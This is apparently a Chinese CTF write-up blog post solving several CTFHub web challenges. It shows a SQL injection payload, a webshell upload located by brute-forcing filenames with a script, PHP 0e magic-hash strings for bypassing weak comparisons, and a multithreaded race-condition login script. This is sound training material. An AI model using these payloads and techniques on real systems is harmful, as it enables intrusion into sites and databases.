题目来自CTFHub,感谢平台的复现环境
Injection V2.0
登陆查询的两种方式,参考博客
提交按钮是提交查询,看来不用登陆哈哈,这种查询一般有两种方式
- 一种是先查询用户名是否存在,在查询对应密码是否正确
- 一种是直接查询用户提交的账号密码是否正确
输入账号admin密码admin提示密码错误,应该是第一种查询方式
fuzz发现函数基本都被过滤了,那么根据密码查询逻辑可以这样构造payloaduser=123'union/**/select/**/1/**/%23&pass=1
写在最后,payload最后的pass需要与select的数字相同,这是因为查询密码时
if($row['password']==$password)
前面的是你select的值,后面是你输入的pass
Uploadddd
知识点:目录扫描,简单代码审计,基本脚本编写
传个🐎试试,发现可以上传成功,但是没有路径,传其他 的也是这样,都没有路径。
扫描目录试试,有个备份文件,下载下来恢复一下
下载完使用vim -r .index.php.swp
恢复文件,发现文件存在uploads/
下,文件名是文件上传时间加一个随机数组成,在上传一次,用脚本爆破一下看看那个随机数就行了
抓包看下上传时间,脚本生成字典
time = '20200911154632'
value = ''
for i in range(1000):
value += time+str(i)+'.php'
value += '\n'
#print(value)
filename = 'dir.txt'
with open(filename,'a',encoding='utf-8') as f:
for i in value:
f.writelines(i)
蚁剑连🐎,完活
weakphp
知识点:git源码泄露;php弱类型;md5碰撞
源码没看到什么东西,抓包看看,没发现啥,扫描器启动233
很明显了,git泄露,用GitHack恢复一下
进入dist目录,查看恢复源码
主要绕过(md5($user) == md5($pass)) and ($user != $pass)
,要求user与pass不同,但其md5加密后却相同,典型的md5碰撞。
php在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
php弱类型参考博客
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
随便取出来两个用就好
random
知识点:爆破方式
不断刷新页面发现当前数字也不同,如题,random。
==第一种==burp爆破
脸黑,第一次失败了,再来一次,第二次一下就出来了。。。
==第二种==py脚本,锻炼写脚本的能力
因为懒没写正则,直接把页面全输出了哈哈哈
import requests
url = 'http://challenge-c5ef534a16bbc86d.sandbox.ctfhub.com:10080/index.php?num='
for i in range(100):
response = requests.get(url+str(i))
if 'ctfhub{' in response.text:
print(response.text)
break
injection
知识点:SQL的数字型注入
Practice makes perfect.God helps those who help themselves.Where there is a will,there is a way.One false step will make a great difference.
进入题目
id=2-1发现数字型注入
查有几个字段,2的时候正常,3不正常,说明字段为2
查表名
查列名
查字段
当然,sqlmap一把梭也行(我没试)
checkin
打开链接啥都没有,抓包看看
。。。这题没有知识点,base64解密
Fast Running
尝试弱密码登陆,失败;修改密码在登陆,也是失败,应该是后台又改掉了。我也是第一次做多线程题,还是看的别师傅的wp,参考博客
用python的threading模块可以实现多线程,只要你登陆的速度比后台改密码的速度快应该就可以了,上代码。
import requests
import threading
s = requests.session()
class MyThread(threading.Thread):
def __init__(self, item):
threading.Thread.__init__(self)
self.item = item
def run(self):
main(self.item)
def main(args):
if args == 1:
while True:
ur11 = 'http://challenge-2ac70a122538fa92.sandbox.ctfhub.com:10080/change_passwd.php?passwd=123456&passwd_confirm=123456'
c = s.get(ur11).content
else:
while True:
url2 = 'http://challenge-2ac70a122538fa92.sandbox.ctfhub.com:10080/login_check.php?passwd=123456'
# c11 = s.get(url2, data={' passwd': 111}).content
c1 = s.get(url2)
print(c1.text)
if __name__ == '__main__':
t1 = MyThread(1)
t2 = MyThread(2)
t1.start()
t2.start()